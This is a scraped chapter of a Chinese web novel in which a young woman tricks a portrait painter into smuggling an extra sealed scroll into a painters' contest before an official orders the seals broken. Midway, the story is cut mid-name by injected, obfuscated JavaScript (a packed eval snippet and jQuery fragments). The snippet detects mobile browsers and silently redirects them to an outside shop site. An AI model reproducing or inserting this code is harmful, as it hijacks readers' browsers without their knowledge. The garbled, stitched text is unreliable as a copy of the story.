默认冷灰
24号文字
方正启体

5. 第5章

作者:时熠枝本书字数:K更新时间:
    沈为青径直走到窗边将窗户关上,漫天飞雪也一并关在了窗外,回头笑道:“别让雪打湿了画纸。”


    “姑娘想得周到。”宁熙提笔,“多谢姑娘赏光,那我们这便开始画了?”


    沈为青落座,余光撇到撇到他身侧的一卷已经封好的画卷上,笑问:“宁公子谢谢别人都是怎么个谢法?就嘴上说说?”


    宁熙被噎得怔了半晌,道:“姑娘想如何,但说无妨。”


    沈为青笑道:“你身侧那卷画能不能给我看看?”


    宁熙犹豫道:“这幅画是我师父所画,用来明日斗画的。姑娘若要看,可得小心点,千万别弄破画上的封条。”


    沈为青道:“自然。”


    她伸手接过,稍稍转动了一下,便递还给了宁熙。


    宁熙的目光自始至终紧紧盯着沈为青,直到画卷重新回到自己手上才松了一口气。


    七十二画师斗画可是师父的大事,断不能出了什么纰漏。


    沈为青笑道:“宁公子是不是赶在画院收画之前,给我画完画像?”


    宁熙点点头道:“正是!”


    沈为青笑道:“那你还盯着我做什么,还不赶紧画?”


    宁熙一怔。他作画前有个习惯,总是大肆赞扬被画姑娘的容貌,是人都是爱被夸赞的,虽然说姑娘们被夸赞之后或愠怒、或欢欣,但是总归是会流露出独属于那个姑娘的情绪。这样一来,他下笔便更能捕捉姑娘的不同之处。


    不知怎的,面前这个姑娘虽然总是笑嘻嘻的,看起来好说话得很,他却看不明白她,她身上有种矛盾复杂的气质,像拨不开的迷雾。但凡有人试图弄清,她总是笑嘻嘻地将话题引开。他不敢造次,什么哄人开心的话都说不出来,只脸一红,开始作画。


    一时之间,屋内静谧之极。忽然听到门被打开又关上的声音,应该是隔壁雅间的客人到了。


    宁熙是个热闹的性格,实在忍受不了屋内的静谧,开口搭话道:“姑娘是哪里人?”


    沈为青还未答话,只听隔壁雅间传来声响:“你什么身份?宿怀霜自己不来,让你来见我?”


    宁熙手一抖,差点将墨汁甩到了纸上。


    这话他听了不少。想必隔壁间也是位佳人来找负心汉讨个说法,负心汉让好友替自己见面挡一挡。


    隔壁间的男子说了句什么,声音远比那姑娘的低,听不清说了些什么。


    宁熙尴尬一笑,道:“唐突了佳人,这里毕竟不如长乐楼。想当初我在长乐楼的隔间把酒言欢,放声而歌,隔壁也是听不见的。”


    沈为青笑道:“无妨。你知道我不是本地人?”


    宁熙骄傲道:“城里的姑娘我都画遍了,没见过姑娘这样的。”


    沈为青道:“你师父也让你画?”


    马师傅只许宁熙画美人,却不许程玉亭画猫?


    宁熙摇摇头道:“哪能啊?老师让我画山水交给他,我便画山水就是了。不过我私下里画什么,就是我的事了。”


    “马师傅年少一心想以山水画考画学不中。后来便当了画师,势必要教出一个以山水画入画学的学生,所以才对山水画如此执着。”


    “不过呢。有的人画山水,只觉得一草一木都是不同,可我愚钝,看石头只是石头,看树就是树。一日复一日地画同样的东西,那有什么趣味?不如画美人,一颦一笑一嗔一怒,皆是风情。”


    “都说‘水是眼波横,山是眉峰聚’,那为何不直接去画那眼波眉峰?”


    沈为青笑了笑不再说话,他这人倒当真有趣,难怪惹得不少姑娘心动。


    说话间,半盏茶的时间过去了。


    沈为青看了眼画,只见轮廓已现,问道:“画完了?”


    宁熙道:“还未上色。”


    沈为青探了探身,让他自己盯着自己的脸,道:“那你仔细看看,要用什么颜色。”


    宁熙仔细盯着沈为青的脸。白皙细腻,他脑子里一团乱麻,自己的脸反倒慢慢红起来。


    心慌意乱之下,他听到一声轻响,余光看见沈为青从披风下抽出了什么东西放在了他身侧。


    他转头看去,全身的血液霎时间变得冰凉。


    身侧原本放着老师画卷的地方,明明白白放着两卷画册,从外观看来,一模一样。


    宁熙傻了眼:“这……这!”颤抖着手指着那两卷画:姑娘这是什么意思?


    隔壁雅间传来女子的怒斥声:“宿怀霜,你算计我?”


    沈为青笑嘻嘻道:“你别生气。这有幅画也想要宁国公世子瞧瞧。只是平日见不着他,只得请你帮一帮。”


    宁熙怒道:“这是请我帮忙的态度么?再说了,我怎么帮?”


    沈为青道:“你挑一幅,交上去便好了。”


    宁熙两眼一黑。


    卷封一旦封印,视作绝密,开启则视为弃权,可是一模一样的画纸,一模一样的卷封,哪里分得出区别?


    沈为青笑盈盈地盯着他,道:“那怎么办呢?”鼓励他接着说下去。


    宁熙哭丧着一张脸道:“只能两张都交上去……可是不行啊,师父知道了要生气的。向来七十二画师斗画,没有交两张的。”


    沈为青道:“有什么生气的?若是他的画被选上了,我的画没被选上,那你和你师父也没什么可担心的;若是他的画没被选上,而我的画被选上了,我也可以大方让他选。”


    宁熙道:“那若是两个人都选上了呢?那不就是我师父违反了规定?”


    沈为青道:“那不然你想个更好的方法?”


    她笑得像只小狐狸。


    宁熙忽然后悔自己提出要为她作画了,也收回之前所有对她的溢美之词!


    沈为青站起身来推开窗,马车声响起,来人穿着画院的衣服,是画院负责杂事的工匠。


    画院工匠将一个巨大的檀香盘子放在大厅中央,来此送画的画师或者画师学徒接连上前,出示表明自家画肆身份的木牌,然后将画卷放在盘子上,不一会儿功夫,盘子上已摞着尺高的画卷。


    宁熙将手中木牌出示给画院工匠看。


    工匠刚点点头,却被身后一人撞了一下,连带着刮倒了那盘子。


    一时之间画卷散落一地。


    来送画的众人见状,担心自家的画被压坏,纷纷涌上前来,推推搡搡。


    沈为青趁机将画卷也放入其中,忽见一只素白的手也趁乱将一幅画卷放下,身侧传来一个女子声音,似乎是笑道:“多谢姑娘了。”


    沈为青一晃神,抬头看去,只见一个身着华服的女子款步离去的背影。


    不知是谁的一只脚伸到沈为青面前,沈为青躲避不及,就要向前摔去。


    宁熙看在眼里,伸长了手,可距离得远来不及去扶她。只见沈为青足尖点地,腰间使力,回身站定,身上的披风旋开,仿佛一朵白芙蓉。


    宁熙撇了撇嘴。看起来是白芙蓉,其实是虞美人。


    有毒的。


    沈为青正准备离开,却听见一阵轻微的裂纸之声。


    她回头看去。


    画院的人脸色苍白,手上抓着一卷画卷,画卷上的封条只剩一半,另外半截握在一只修长的手中。


    沈为青皱了皱眉。


    程玉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359950|199745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亭的画已经混在其中,只等着明日宁国公世子选完,公布七十二家画家的名单。若这次的斗画因封条打开而取消,岂不是前功尽弃?那姑娘将什么画混入其中,那人又为什么非要找到不可?


    沈为青抬眼去看那人。


    那人侧身站着,眉目清秀,只是面无表情。


    画院的人赶紧跪倒在地,结结巴巴道:“叶大人,您这是……是宿大人有什么吩咐么?”


    宿大人……沈为青忽然想起刚刚隔壁雅间的女子声音。


    原来是他。


    钦天监监正,宿怀霜,宿大天官。


    钦天监监正一职本只是个五品官,说大不大,说小不小,不过宿怀霜此人不可被当作寻常的钦天监监正看待。


    前任的钦天监监正宿谨是宿怀霜的父亲,据说此人占候如神,算无遗策,十分得先皇敬重。


    嘉宁五十三年,宿谨预测出天狗食月的异象。那晚果然眼见着明月一寸寸地被黑色掩盖,此时玉坤宫中的皇贵妃却诞下一子,一时间宫内流言四起,纷纷说这个孩子会带来灾祸。先皇当即便下令要将这个孩子处死。


    当时年仅十岁的宿怀霜拦了圣驾,说自己测算出并不是月尽食,而是月缺食。月尽食代表着天降灾祸,可月缺食却代表着福祸未定。


    一柱香的时间过去,果然云散月出,的确是月缺食。


    先皇便放过了那个孩子,以妖言惑众之名,赐了宿谨死刑。


    那个侥幸活下来的孩子便是如今的皇上。


    皇上登基那天本要将宿怀霜拜为太傅,被他拒绝,只接任了钦天监监正一职。


    叶修文虽只是他的副手,但颇得宿怀霜信任,是以叶修文若要做什么,众人大多会当作是得了宿怀霜的许可。


    “全部打开。”叶修文道。


    人群中走出一个侍卫,抱拳答是。


    旁边的画院工匠想要出言制止,嘴张了又合,合了又张,终究不敢说什么。


    当今天子的秘闻大伙儿明面儿上不敢讲,私下里不知道添油加醋讲了多少,这故事里的最重要的人物宿怀霜,更是被眉飞色舞地演绎了无数次。


    宿怀霜是什么人?那是连亲爹都能背叛的人,惹了他,能有什么好下场?


    “大人,”沈为青开口,宁熙在旁边拼命给她打手势,她只当没看见。


    “这是百余画家的心血之作。若是封条一开,所有人都要重新作画。大人面慈心善,怜香惜玉,也请对众画家高抬贵手。”


    沈为青手心微微出汗。她言语间透露出她听到了叶修文和那女子的对话,显然宿怀霜有负于那位姑娘,那姑娘看起来身份也不一般,希望叶修文顾及他家大人的颜面,将此事轻轻揭过。


    叶修文道:“封条一开,重新作画?”


    “是。”


    “谁说的?”


    谁说的?也许是宁国公世子说的,但是不确定,不好胡说。


    沈为青道:“规定如此。”


    “规定……”


    “是。”


    叶修文道:“这世上没多少规定。日落星升是规定,潮涨潮汐也是规定。封条一开,重新作画,这规定我没听过。你不如再想想,什么是规定。”


    沈为青沉默。


    叶修文的意思是能够更改的不是规定。这七十二画家比画本来定在的是长乐楼,现在却是凌霄楼。仅这一条就已经不再是规定。


    沈为青道:“百余位画家的画作已经在这里,要请宁国公世子开封条,做评判,挑选出七十二张。”


    叶修文道:“好。就请他来罢。”


    “就在今晚。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)